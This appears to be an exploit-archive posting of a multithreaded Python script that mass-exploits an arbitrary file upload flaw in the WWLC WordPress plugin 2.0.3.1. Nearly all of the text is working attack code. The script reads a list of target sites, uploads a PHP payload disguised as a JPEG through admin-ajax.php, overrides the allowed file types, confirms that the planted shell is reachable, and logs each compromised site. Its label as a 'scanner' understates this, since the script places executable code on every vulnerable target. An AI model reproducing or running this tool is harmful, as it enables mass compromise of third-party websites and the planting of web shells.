Share
## https://sploitus.com/exploit?id=PACKETSTORM:217187
=============================================================================================================================================
| # Title : WWLC WordPress Plugin 2.0.3.1 Arbitrary File Upload Mass Scanner MultiβThreaded Python Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://woocommerce.com/ |
=============================================================================================================================================
[+] Summary : This Python tool is a multiβthreaded scanner designed to detect an arbitrary file upload vulnerability in the WWLC WordPress plugin.
The script loads a list of target websites from a file and attempts to upload a crafted PHP payload through the vulnerable admin-ajax.php
endpoint using the wwlc_file_upload_handler action. After sending the upload request, the tool verifies whether the file was successfully stored in the WordPress uploads directory by requesting the generated file URL.
The scanner supports retry logic, connection error handling, and concurrent scanning using multiple threads for faster largeβscale assessments.
Successful uploads are recorded in output files for later review, while failed or unreachable targets are handled gracefully to maintain scan stability.
[+] POC :
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import json
import time
import threading
import queue
from urllib.parse import urlparse
import requests
from colorama import init, Fore, Style
init(autoreset=True)
THREADS = 40
TIMEOUT = 10
RETRIES = 6
SITES_FILE = "kll.txt"
BPVULN_FILE = "exploited.txt"
VULN_FILE = "vuln.txt"
PAYLOAD_PATH = "/sdcard/1/404_protected.php"
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "application/json, text/javascript, */*; q=0.01",
}
FILE_SETTINGS = {
"allowed_file_types": ["php", "png", "jpg"],
"max_allowed_file_size": 5000000
}
file_lock = threading.Lock()
requests.packages.urllib3.disable_warnings()
def create_session():
session = requests.Session()
session.headers.update(HEADERS)
session.verify = False
return session
def normalize(site):
site = site.strip()
if not site.startswith("http://") and not site.startswith("https://"):
site = "http://" + site
return site.rstrip("/")
def load_sites():
if not os.path.exists(SITES_FILE):
print(Fore.RED + f"[-] {SITES_FILE} not found")
sys.exit(1)
with open(SITES_FILE, "r", encoding="utf-8") as f:
sites = [normalize(line) for line in f if line.strip()]
return sites
def check_vulnerability(site, session):
parsed = urlparse(site)
base = f"{parsed.scheme}://{parsed.netloc}"
ajax_url = base + "/wp-admin/admin-ajax.php"
uploads_dir = base + "/wp-content/uploads"
for attempt in range(RETRIES):
try:
with open(PAYLOAD_PATH, "rb") as f:
file_data = f.read()
except Exception as e:
print(Fore.RED + f"[!] Payload error: {e}")
return None
files = {
"action": (None, "wwlc_file_upload_handler"),
"uploaded_file": ("404.php.jpg", file_data, "image/jpeg"),
"file_settings": (None, json.dumps(FILE_SETTINGS), "application/json")
}
try:
response = session.post(ajax_url, files=files, timeout=TIMEOUT)
try:
data = response.json()
except Exception:
data = None
if isinstance(data, dict):
if data.get("status") == "success" and "file_name" in data:
filename = data["file_name"]
shell_url = uploads_dir + "/" + filename
try:
verify = session.get(shell_url, timeout=TIMEOUT)
if verify.status_code == 200:
print(Fore.GREEN + f"[+] {site} -> {filename}")
return ("success", filename, uploads_dir)
except Exception:
pass
return ("fail", None, None)
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError):
if attempt < RETRIES - 1:
print(Fore.YELLOW + f"[~] {site} retry {attempt+1}/{RETRIES}")
time.sleep(1)
else:
print(Fore.RED + f"[-] {site} failed after retries")
return ("timeout", None, None)
except Exception as e:
print(Fore.RED + f"[!] {site} unexpected error: {e}")
return ("error", None, None)
return ("fail", None, None)
def worker(q, session):
while True:
try:
site = q.get(timeout=1)
except queue.Empty:
break
result = check_vulnerability(site, session)
if result and result[0] == "success":
_, filename, uploads_dir = result
with file_lock:
with open(BPVULN_FILE, "a", encoding="utf-8") as f:
f.write(f"{site} > {filename}\n")
with open(VULN_FILE, "a", encoding="utf-8") as f:
f.write(f"{uploads_dir}\n")
q.task_done()
session.close()
def main():
print(Fore.CYAN + Style.BRIGHT + """
ββββββββββββββββββββββββββββββββββββββ
β WWLC File Upload Mass Scanner β
β Fixed by indoushka β
ββββββββββββββββββββββββββββββββββββββ
""")
sites = load_sites()
print(Fore.CYAN + f"[*] Loaded {len(sites)} sites")
for f in [BPVULN_FILE, VULN_FILE]:
if os.path.exists(f):
os.remove(f)
q = queue.Queue()
for site in sites:
q.put(site)
threads = []
for _ in range(min(THREADS, len(sites))):
session = create_session()
t = threading.Thread(target=worker, args=(q, session))
t.daemon = True
t.start()
threads.append(t)
q.join()
for t in threads:
t.join(timeout=1)
print(Fore.CYAN + "[*] Scan completed")
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================